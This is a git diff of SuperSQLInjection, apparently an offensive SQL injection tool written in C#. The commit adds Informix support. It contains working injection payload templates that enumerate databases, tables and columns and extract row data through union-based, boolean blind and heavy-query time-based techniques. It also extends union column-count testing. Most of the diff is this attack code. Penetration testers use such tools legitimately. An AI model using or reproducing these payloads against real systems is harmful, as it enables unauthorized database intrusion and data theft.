AQEBgAEBAfEBgQEAAT8BgAEBAYABAQH4AQ8BAAE9AcABAwGAAQEB/gF/AQABDQHgAQcE/wEAAUEB8AEP + BP8BAAHPAv8B4AEHAgAB/AEHAQABAwHAAQMCAAH8AQMBAAEDAYABAQIAAfgBAwEAAQMBgAEBAgAB8AED + AQABAwGAAQECAAHgAQMBAAEBBAABwAEDAgABAQGAAgABgAEBAgABAwHAAgABgAEBBgABgAEBBgABgAEB + AgABgAEBAgABgAEBAgABgAEBAgABgAEBAgABwAEDAgABgAEBAQABAwHAAQMCAAGAAQEBAAEHAfABDwIA + AYABAQEAAQ8B/AE/AgABgAEPAQABHws= @@ -409,7 +410,7 @@ Cache-Control: no-cache,no-store 329, 17 - 151 + 100 diff --git a/SuperSQLInjection/Properties/AssemblyInfo.cs b/SuperSQLInjection/Properties/AssemblyInfo.cs index e85767b..77e9443 100644 --- a/SuperSQLInjection/Properties/AssemblyInfo.cs +++ b/SuperSQLInjection/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ using System.Runtime.InteropServices; // 可以指定所有这些值,也可以使用“内部版本号”和“修订号”的默认值, // 方法是按如下所示使用“*”: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.2019.01.20")] -[assembly: AssemblyFileVersion("1.2019.01.20")] +[assembly: AssemblyVersion("1.2019.03.03")] +[assembly: AssemblyFileVersion("1.2019.03.03")] diff --git a/SuperSQLInjection/Properties/images/bypass.png b/SuperSQLInjection/Properties/images/bypass.png new file mode 100644 index 0000000..80eecd1 Binary files /dev/null and b/SuperSQLInjection/Properties/images/bypass.png differ diff --git a/SuperSQLInjection/SuperSQLInjection.csproj b/SuperSQLInjection/SuperSQLInjection.csproj index 2d71742..8330a3b 100644 --- a/SuperSQLInjection/SuperSQLInjection.csproj +++ b/SuperSQLInjection/SuperSQLInjection.csproj @@ -153,6 +153,7 @@ + diff --git a/SuperSQLInjection/model/DBType.cs b/SuperSQLInjection/model/DBType.cs index d9c3d52..49e5044 100644 --- a/SuperSQLInjection/model/DBType.cs +++ b/SuperSQLInjection/model/DBType.cs @@ -14,6 +14,7 @@ namespace SuperSQLInjection.model Oracle = 4, PostgreSQL=5, DB2 = 6, - SQLite=7 + SQLite=7, + Informix=8 } } diff --git a/SuperSQLInjection/payload/Comm.cs b/SuperSQLInjection/payload/Comm.cs index 70f0df6..752277e 100644 --- a/SuperSQLInjection/payload/Comm.cs +++ b/SuperSQLInjection/payload/Comm.cs @@ -59,7 +59,15 @@ namespace SuperSQLInjection.payload sb.Append(" from sysibm.sysdummy1"); return sb.ToString(); } - + + public static String unionColumnCountTestByInformix(String unionTempaldate, String fill) + { + StringBuilder sb = new StringBuilder(" 1=2 union all select "); + sb.Append(unionTempaldate.Replace("{data}", fill)); + sb.Append(" from sysmaster:sysdual"); + return sb.ToString(); + } + public static String unionColumnCountTest(int maxColumn, int testIndex, String fill) { diff --git a/SuperSQLInjection/payload/Informix.cs b/SuperSQLInjection/payload/Informix.cs new file mode 100644 index 0000000..264c1ef --- /dev/null +++ b/SuperSQLInjection/payload/Informix.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using System.Text; +using tools; + +namespace SuperSQLInjection.payload +{ + class Informix + { + //加载对应配置(需要读取的环境变量) + public static String path = "config/vers/informix.txt"; + public static List vers = FileTool.readFileToList(path); + + //数据库数量 + public static String dbs_count = "(select count(*) from sysmaster:sysdatabases)"; + //表数量 + public static String tables_count = "(select count(*) from {dbname}:systables where tabtype='T' and tabid>99)"; + //列数量 + public static String columns_count = "(select count(*) from {dbname}:systables t,{dbname}:syscolumns c where t.tabid=c.tabid and t.tabname='{table}')"; + + + //获取数据库名 + public static String db_value = "(select name from (select skip {index} first 1 name from sysmaster:sysdatabases))"; + //获取表名称 + public static String table_value = "(select tabname from (select skip {index} first 1 tabname from {dbname}:systables where tabtype='T' and tabid>99))"; + //获取列名称 + public static String column_value = "(select colname from (select skip {index} first 1 colname from {dbname}:systables t,{dbname}:syscolumns c where t.tabid=c.tabid and t.tabname='{table}'))"; + + + //获取数据库数量bool方式 + public static String bool_db_count = " " + dbs_count + ">{len}"; + //获取表数量bool + public static String bool_tables_count = " " + tables_count + ">{len}"; + //获取列数量bool + public static String bool_columns_count = " " + columns_count + ">{len}"; + + + + public static String substr = "substr(({data})),{index},1)"; + //多字节 + public static String hex_value = "ascii({data})"; + + //bool方式字符长度判断 + public static String bool_length = " length(({data}))>{len}"; + + //bool方式获取值 + public static String bool_value = " ascii(substr({data},{index},1))>{len}"; + //最大32767 + public static String cast_value = "rtrim(cast({data} as char(32767)))"; + public static String no_cast_value = "({data})"; + + //获取行数据 + public static String data_value = "(select "+ cast_value + " from (select skip {index} first 1 {allcolumns} from {dbname}:{table}))"; + + //获取行数据 + public static String data_no_cast_value = "(select {data} from (select skip {index} first 1 {allcolumns} from {dbname}:{table}))"; + + + //union获取数据条数 + public static String data_count = "(select count(*) from {dbname}:{table})"; + + public static String bool_datas_count = " " + data_count + ">={len}"; + + //union获取值 + public static String union_value = " 1=2 union all select {data} from sysmaster:sysdual"; + + + public static String rand = Tools.RandNum(3); + + public static String start = rand + 0; + public static String mid = rand + 5; + public static String end = rand + 9; + + + public static String getBoolDataBySleep(String data) + { + return " 1=(case when(" + data + ") then (select 1 from(select count(*) from sysmaster:syspaghdr)) else 1 end)"; + } + + public static String getBoolCountBySleep(String data) + { + return " 1=(case when(" + data + ") then (select 1 from(select count(*) from sysmaster:syspaghdr)) else 1 end)"; + } + + public static String getUnionDataValue(String unionFileTemplate, String dataPayLoad, String dbname, String table, String index,String castStr) + { + String temlate=unionFileTemplate.Replace("{data}", "(to_char("+start+ ")||to_char(" + start + ")||" + castStr.Replace("{data}", dataPayLoad.Replace("{dbname}", dbname).Replace("{table}", table).Replace("{index}", index)) + "||to_char(" + end + ")||to_char(" + end + "))"); + return union_value.Replace("{data}", temlate); + } + + public static String unionColumns(List columns, String unionStr) + { + StringBuilder sb = new StringBuilder(); + decimal c = 32000 / columns.Count; + int max = (int)Math.Ceiling(c); + + foreach (String column in columns) + { + sb.Append(cast_value.Replace("32767", max.ToString()).Replace("{data}", column) + unionStr); + } + sb.Remove(sb.Length - unionStr.Length, unionStr.Length); + return sb.ToString(); + } + + public static String getUnionDataValue(String unionFileTemplate, List columns, String dbname, String table, String index) + { + String data = "to_char(" + start + ")||to_char(" + start + ")||" + unionColumns(columns,"||to_char("+ mid + ")||") + "||to_char(" + end + ")||to_char(" + end + ")"; + String template= unionFileTemplate.Replace("{data}", (data_no_cast_value.Replace("{data}", data).Replace("{allcolumns}", Comm.unionColumns(columns, ",")).Replace("{dbname}", dbname).Replace("{table}", table).Replace("{index}", index))); + return union_value.Replace("{data}", template); + } + + /// + /// 获得bool方式值payload + /// + /// 对应值的查询SQL + /// 数据库名 + /// 表名 + /// 下标 + /// + public static String getBoolDataPayLoad(String column, String dbName, String table, int index) + { + String payload = data_value.Replace("{data}", column).Replace("{allcolumns}", column).Replace("{dbname}", dbName).Replace("{table}", table).Replace("{index}", index.ToString()); + return payload; + } + } +} diff --git a/SuperSQLInjection/tools/Tools.cs b/SuperSQLInjection/tools/Tools.cs index 06ba263..f262402 100644 --- a/SuperSQLInjection/tools/Tools.cs +++ b/SuperSQLInjection/tools/Tools.cs @@ -711,6 +711,10 @@ namespace tools { return strToChrOrChar(str, "chr", joinStr, encode); } + public static String informixStrToChr(String randstr) + { + return "to_char("+ randstr + ")"; + } /// /// 转换chr供SQLServer替换库名,防止单引号被拦截或过滤 @@ -1195,15 +1199,27 @@ namespace tools } //DB2的每列是数字或者字符的穷举 - private static String[] fillStr = { "1", "chr(32)"}; + private static String[] DB2_fillStr = { "1", "chr(32)"}; - /// - /// 获得DB2的每列是数字或者字符的穷举 - /// - /// 总列数 - /// + private static String[] Infomix_fillStr = { "1", "''" }; + + + + // 获得DB2的每列是数字或者字符的穷举 + public static List getDB2UnionTemplates(int sumCount, int showIndex) + { + return getUnionTemplates(DB2_fillStr, sumCount, showIndex); + } + // 获得informix的每列是数字或者字符的穷举 + public static List getInformixUnionTemplates(int sumCount, int showIndex) + { + return getUnionTemplates(Infomix_fillStr, sumCount, showIndex); + } + + // 获得数据库的每列是数字或者字符的穷举 + private static List getUnionTemplates(String[] fillStr,int sumCount, int showIndex) { List < String > list= new List(); if (sumCount == 1) @@ -1214,10 +1230,10 @@ namespace tools else { int n = sumCount - 1; String[] codes = new String[2 << (n - 1)]; - createGrayCode(codes, n); + createGrayCode(fillStr,codes, n); foreach(String code in codes) { - String cp = insertDB2ShowTemplate(code,showIndex); + String cp = insertShowTemplate(code, showIndex); list.Add(cp); //插入,显示列 } @@ -1225,14 +1241,14 @@ namespace tools return list; } - private static String insertDB2ShowTemplate(String temlate,int showIndex) { + private static String insertShowTemplate(String temlate,int showIndex) { List list = new List(temlate.Split(',')); list.Insert(showIndex,"{data}"); return String.Join(",", list); } - private static void createGrayCode(String[] codes, int n) + private static void createGrayCode(String[] fillStr, String[] codes, int n) { if (n == 1) { @@ -1241,7 +1257,7 @@ namespace tools } else { - createGrayCode(codes, n - 1); + createGrayCode(fillStr,codes, n - 1); int len = 2 << (n - 1); int half = len >> 1; for (int i = len - 1, j = 0; i >= 0; i--) diff --git a/超级SQL注入工具使用说明书V1.1 20190110.docx b/超级SQL注入工具使用说明书V1.1 20190110.docx index a4bede9..832d6c7 100644 Binary files a/超级SQL注入工具使用说明书V1.1 20190110.docx and b/超级SQL注入工具使用说明书V1.1 20190110.docx differ